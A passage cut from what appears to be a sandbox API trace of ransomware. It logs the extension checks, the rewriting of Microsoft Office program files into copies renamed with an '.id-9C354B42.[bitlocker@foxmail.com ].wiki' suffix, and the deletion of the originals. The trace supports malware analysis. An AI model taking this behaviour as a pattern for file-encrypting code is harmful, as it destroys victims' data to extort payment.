(lpString=".xlsx") returned 5 [0188.866] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0188.866] lstrlenW (lpString=".ppt") returned 4 [0188.866] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0188.866] lstrlenW (lpString=".zip") returned 4 [0188.866] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.866] lstrlenW (lpString=".rar") returned 4 [0188.866] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.866] lstrlenW (lpString=".bz2") returned 4 [0188.867] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.867] lstrlenW (lpString=".7z") returned 3 [0188.867] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0188.867] lstrlenW (lpString=".dbf") returned 4 [0188.867] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0188.867] lstrlenW (lpString=".1cd") returned 4 [0188.867] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0188.867] lstrlenW (lpString=".jpg") returned 4 [0188.867] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0188.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0188.867] lstrlenW (lpString=".doc") returned 4 [0188.867] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.867] lstrlenW (lpString=".docx") returned 5 [0188.867] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0188.867] lstrlenW (lpString=".pdf") returned 4 [0188.867] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.867] lstrlenW (lpString=".xls") returned 4 [0188.867] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.867] lstrlenW (lpString=".xlsx") returned 5 [0188.867] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0188.867] lstrlenW (lpString=".ppt") returned 4 [0188.867] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0188.867] lstrlenW (lpString=".zip") returned 4 [0188.867] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.867] lstrlenW (lpString=".rar") returned 4 [0188.867] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.867] lstrlenW (lpString=".bz2") returned 4 [0188.868] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.868] lstrlenW (lpString=".7z") returned 3 [0188.868] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0188.868] lstrlenW (lpString=".dbf") returned 4 [0188.868] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0188.868] lstrlenW (lpString=".1cd") returned 4 [0188.868] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0188.868] lstrlenW (lpString=".jpg") returned 4 [0188.868] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.868] lstrcmpiW (lpString1=".EXE", lpString2=".wiki") returned -1 [0188.868] lstrlenW (lpString="MSOXMLED.EXE") returned 12 [0188.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.868] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=121168) returned 1 [0189.043] CloseHandle (hObject=0x1d0) returned 1 [0189.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe")) returned 0x20 [0189.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.043] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0189.043] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.043] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0190.114] GetLastError () returned 0x0 [0190.114] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x1d950, lpOverlapped=0x0) returned 1 [0190.137] WriteFile (in: hFile=0x1c8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x1d960, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1d960, lpOverlapped=0x0) returned 1 [0190.139] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.139] WriteFile (in: hFile=0x1c8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.139] SetEndOfFile (hFile=0x1c8) returned 1 [0190.139] CloseHandle (hObject=0x1c8) returned 1 [0190.139] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.139] SetEndOfFile (hFile=0x1d0) returned 1 [0190.141] CloseHandle (hObject=0x1d0) returned 1 [0190.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.141] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe")) returned 1 [0190.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0190.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0190.141] lstrlenW (lpString=".doc") returned 4 [0190.141] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0190.141] lstrlenW (lpString=".docx") returned 5 [0190.142] lstrcmpiW (lpString1=".docx", lpString2="D.EXE") returned -1 [0190.142] lstrlenW (lpString=".pdf") returned 4 [0190.142] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0190.142] lstrlenW (lpString=".xls") returned 4 [0190.142] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0190.142] lstrlenW (lpString=".xlsx") returned 5 [0190.142] lstrcmpiW (lpString1=".xlsx", lpString2="D.EXE") returned -1 [0190.142] lstrlenW (lpString=".ppt") returned 4 [0190.142] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0190.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0190.142] lstrlenW (lpString=".zip") returned 4 [0190.142] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0190.142] lstrlenW (lpString=".rar") returned 4 [0190.142] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0190.142] lstrlenW (lpString=".bz2") returned 4 [0190.142] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0190.142] lstrlenW (lpString=".7z") returned 3 [0190.142] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0190.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0190.142] lstrlenW (lpString=".dbf") returned 4 [0190.142] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0190.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0190.142] lstrlenW (lpString=".1cd") returned 4 [0190.142] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0190.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0190.142] lstrlenW (lpString=".jpg") returned 4 [0190.142] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0190.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0190.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0190.142] lstrlenW (lpString=".doc") returned 4 [0190.142] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0190.142] lstrlenW (lpString=".docx") returned 5 [0190.143] lstrcmpiW (lpString1=".docx", lpString2="D.EXE") returned -1 [0190.143] lstrlenW (lpString=".pdf") returned 4 [0190.143] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0190.143] lstrlenW (lpString=".xls") returned 4 [0190.143] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0190.143] lstrlenW (lpString=".xlsx") returned 5 [0190.143] lstrcmpiW (lpString1=".xlsx", lpString2="D.EXE") returned -1 [0190.143] lstrlenW (lpString=".ppt") returned 4 [0190.143] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0190.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0190.143] lstrlenW (lpString=".zip") returned 4 [0190.143] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0190.143] lstrlenW (lpString=".rar") returned 4 [0190.143] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0190.143] lstrlenW (lpString=".bz2") returned 4 [0190.143] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0190.143] lstrlenW (lpString=".7z") returned 3 [0190.143] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0190.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0190.143] lstrlenW (lpString=".dbf") returned 4 [0190.143] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0190.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0190.143] lstrlenW (lpString=".1cd") returned 4 [0190.143] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0190.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0190.143] lstrlenW (lpString=".jpg") returned 4 [0190.143] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0190.144] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0190.144] lstrlenW (lpString="ODBCMON.DLL") returned 11 [0190.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0190.144] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=30056) returned 1 [0190.144] CloseHandle (hObject=0x1d0) returned 1 [0190.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll")) returned 0x20 [0190.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0190.145] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.145] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0190.145] GetLastError () returned 0x0 [0190.145] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x7568, lpOverlapped=0x0) returned 1 [0190.149] WriteFile (in: hFile=0x1c8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x7570, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x7570, lpOverlapped=0x0) returned 1 [0190.150] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.150] WriteFile (in: hFile=0x1c8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xea, lpOverlapped=0x0) returned 1 [0190.150] SetEndOfFile (hFile=0x1c8) returned 1 [0190.150] CloseHandle (hObject=0x1c8) returned 1 [0190.150] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.150] SetEndOfFile (hFile=0x1d0) returned 1 [0190.151] CloseHandle (hObject=0x1d0) returned 1 [0190.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.152] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll")) returned 1 [0190.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0190.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0190.152] lstrlenW (lpString=".doc") returned 4 [0190.152] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0190.152] lstrlenW (lpString=".docx") returned 5 [0190.152] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0190.152] lstrlenW (lpString=".pdf") returned 4 [0190.152] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0190.152] lstrlenW (lpString=".xls") returned 4 [0190.152] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0190.152] lstrlenW (lpString=".xlsx") returned 5 [0190.152] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0190.152] lstrlenW (lpString=".ppt") returned 4 [0190.152] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0190.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0190.152] lstrlenW (lpString=".zip") returned 4 [0190.152] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0190.152] lstrlenW (lpString=".rar") returned 4 [0190.152] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0190.152] lstrlenW (lpString=".bz2") returned 4 [0190.152] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0190.152] lstrlenW (lpString=".7z") returned 3 [0190.152] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0190.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0190.152] lstrlenW (lpString=".dbf") returned 4 [0190.153] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0190.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0190.153] lstrlenW (lpString=".1cd") returned 4 [0190.153] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0190.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0190.153] lstrlenW (lpString=".jpg") returned 4 [0190.153] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0190.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0190.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0190.153] lstrlenW (lpString=".doc") returned 4 [0190.153] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0190.153] lstrlenW (lpString=".docx") returned 5 [0190.153] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0190.153] lstrlenW (lpString=".pdf") returned 4 [0190.153] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0190.153] lstrlenW (lpString=".xls") returned 4 [0190.153] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0190.153] lstrlenW (lpString=".xlsx") returned 5 [0190.153] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0190.153] lstrlenW (lpString=".ppt") returned 4 [0190.153] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0190.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0190.153] lstrlenW (lpString=".zip") returned 4 [0190.153] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0190.153] lstrlenW (lpString=".rar") returned 4 [0190.153] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0190.153] lstrlenW (lpString=".bz2") returned 4 [0190.153] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0190.154] lstrlenW (lpString=".7z") returned 3 [0190.154] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0190.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0190.154] lstrlenW (lpString=".dbf") returned 4 [0190.154] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0190.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0190.154] lstrlenW (lpString=".1cd") returned 4 [0190.154] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0190.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0190.154] lstrlenW (lpString=".jpg") returned 4 [0190.154] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0190.154] lstrcmpiW (lpString1=".exe", lpString2=".wiki") returned -1 [0190.154] lstrlenW (lpString="ODeploy.exe") returned 11 [0190.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0190.155] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=571320) returned 1 [0190.155] CloseHandle (hObject=0x1d0) returned 1 [0190.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe")) returned 0x20 [0190.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0190.155] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.155] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0190.155] GetLastError () returned 0x0 [0190.155] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x8b7b8, lpOverlapped=0x0) returned 1 [0190.169] WriteFile (in: hFile=0x1c8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x8b7c0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x8b7c0, lpOverlapped=0x0) returned 1 [0190.448] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.448] WriteFile (in: hFile=0x1c8, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xea, lpOverlapped=0x0) returned 1 [0190.448] SetEndOfFile (hFile=0x1c8) returned 1 [0190.448] CloseHandle (hObject=0x1c8) returned 1 [0190.448] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.448] SetEndOfFile (hFile=0x1d0) returned 1 [0190.464] CloseHandle (hObject=0x1d0) returned 1 [0190.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.464] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe")) returned 1 [0190.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0190.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0190.464] lstrlenW (lpString=".doc") returned 4 [0190.464] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0190.464] lstrlenW (lpString=".docx") returned 5 [0190.464] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0190.464] lstrlenW (lpString=".pdf") returned 4 [0190.464] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0190.464] lstrlenW (lpString=".xls") returned 4 [0190.464] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0190.464] lstrlenW (lpString=".xlsx") returned 5 [0190.464] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0190.464] lstrlenW (lpString=".ppt") returned 4 [0190.464] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0190.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0190.465] lstrlenW (lpString=".zip") returned 4 [0190.465] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 